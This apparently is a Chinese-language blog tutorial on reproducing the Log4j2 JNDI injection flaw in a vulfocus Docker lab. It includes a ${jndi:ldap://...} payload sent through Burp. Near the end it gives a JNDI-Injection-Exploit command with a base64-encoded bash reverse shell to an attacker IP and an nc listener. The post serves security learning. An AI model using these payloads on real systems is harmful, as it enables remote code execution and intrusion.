log4j2复现

首先我们用到了 vulfocus靶场 我们需要在docker环境下复现

1.docker search vulfocus

 

 

 2.docker pull vulfocus/vulfocus 我们下载第一个

 

 

 这个样子就算成功了 

3.docker images 查看镜像

 

 

 4.docker run -d -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.80.129 vulfocus/vulfocus 启动容器这里的ip是你虚拟机的IP 映射8081端口

 

 成功

 

 这里也可以看出来正在运行

5.然后访问192.168.80.129:8081 如下:

 

 密码和用户名均为admin登录即可

6.点击镜像管理 一键同步

 

 然后找到我们需要的镜像,点击下载

 

 首页 启动

 

 然后去访问对应网址

 

 7.下来我们就开始利用了哦.

bp代理

 

 浏览器代理(如果没有的话可以开启全局代理下面有的)

 

全局代理

 

 

配置如下 记得保存

 

 

8.下来我们就可以抓包 利用

 

因为是post的 所以我们需要post发包 payload=${jndi:ldap://w31j5m.dnslog.cn}

w31j5m.dnslog.cn这个东西 是dnslog 是我们需要前期测试的东西

百度搜索dnslog 

 

点击get即可获取到对应的网址

9.然后我们看bp的包 并且重发

 

 

然后点击发送即可 会出现ok 此刻我们去看以下dnslog 看是否成功

点击这里我们会看到一条记录 这就是我们利用的一条记录

 

此时 我们就成功了  但是 我们还想去拿到shell怎么办呢

10.此刻我们需要一台攻击机(我是在ubuntu上面启动的docker 所以用kali去做攻击机 此利用方式需要java环境 正好kali有环境)

然后执行此条命令即可利用(这个jar包我就放到群里面了需要的自取)

 

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgwLjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.80.128"

 

然后灰色部分是下面那一块的base64加密内容 我们的命令里面必须使用base64加密 192.168.80.128 是我的 攻击机的ip 看官可以改成自己攻击机IP 9999是监听端口

11.如图说明我们这条命令执行成功

 

 因为我们是SpringBoot框架 所以我们需要使用此处的exp

同时我们nc -lvp 9999监听9999端口

如图

 

下来我们就要利用此exp拿shell了

找到前面抓到的包

 

红框处为前面我们提到的exp,点击go(如果没反应 看一下 是不是 环境过期了)

 

此时我们就成功了

然后去看监听的端口

 

发现已经拿到shell

就此 我们已经成功了。希望各位同学仔细复现,如果找安全方面的工作 这个复现是必须品。

 

posted @ 2021-12-28 21:34  中毒219  阅读(400)  评论(0编辑  收藏  举报